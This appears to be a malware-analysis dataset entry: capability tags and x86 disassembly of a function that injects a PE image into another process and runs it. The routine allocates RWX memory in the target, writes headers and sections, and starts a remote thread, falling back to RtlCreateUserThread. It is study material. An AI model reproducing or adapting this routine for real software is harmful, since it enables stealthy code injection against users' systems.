Function at 0x401660
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, eax
xor eax, eax
mov dword [ebp - 4], eax
test esi, esi
je 0x4018dc
cmp dword [ebp + 8], eax
je 0x4018dc
cmp dword [ebp + 0xc], eax
je 0x4018dc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
push esi
call fcn.00401d80
test eax, eax
jne 0x4016a6
push 0x64
call ebx
inc edi
cmp edi, 0x1e
jl 0x401692
push esi
call fcn.00401d80
test eax, eax
je 0x4018d7
push esi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x4018d7
push 0x408198
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401706
push 0x40b034
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x401706
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
cmp dword [ebp - 8], 0
je 0x40173f
push 0x408198
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401735
push 0x40b034
push eax
call esi
test eax, eax
je 0x401735
lea ecx, [ebp - 8]
push ecx
push edi
call eax
cmp dword [ebp - 8], 0
je 0x4018b4
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov ebx, dword [ecx + 0x3c]
mov edx, dword [ebp + 0xc]
add ebx, ecx
mov esi, eax
neg esi
sbb esi, esi
and esi, edx
mov dword [ebx + 0x58], esi
xor esi, esi
mov word [ecx], si
test eax, eax
mov eax, dword [ebx + 0x50]
mov dword [ebx], esi
je 0x401768
add eax, edx
push 0x40
push 0x3000
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x4018b4
mov eax, dword [ebx + 0x54]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx edx, word [ebx + 0x14]
xor ecx, ecx
lea eax, [edx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp cx, word [ebx + 6]
jae 0x40181f
lea esi, [eax + 8]
mov edx, dword [esi]
push 4
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401807
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
add ecx, dword [ebp + 8]
push eax
push ecx
push edi
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add ecx, dword [ebp - 0xc]
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebp - 0x10]
push eax
push edi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x4017b4
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
cmp dword [ebp + 0x10], 0
je 0x40183e
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebx + 0x50]
push eax
push ecx
add edx, esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebx + 0x28]
push 0
push 0
push edi
add ebx, esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x401892
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401889
test byte [ebp + 8], 2
jne 0x401889
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 1
jmp 0x4018b4
push 0
push 0
push 0
push ebx
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 4], ecx
lea edx, [ebp + 8]
push edx
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4018d7
test byte [ebp + 8], 2
jne 0x4018d7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0xc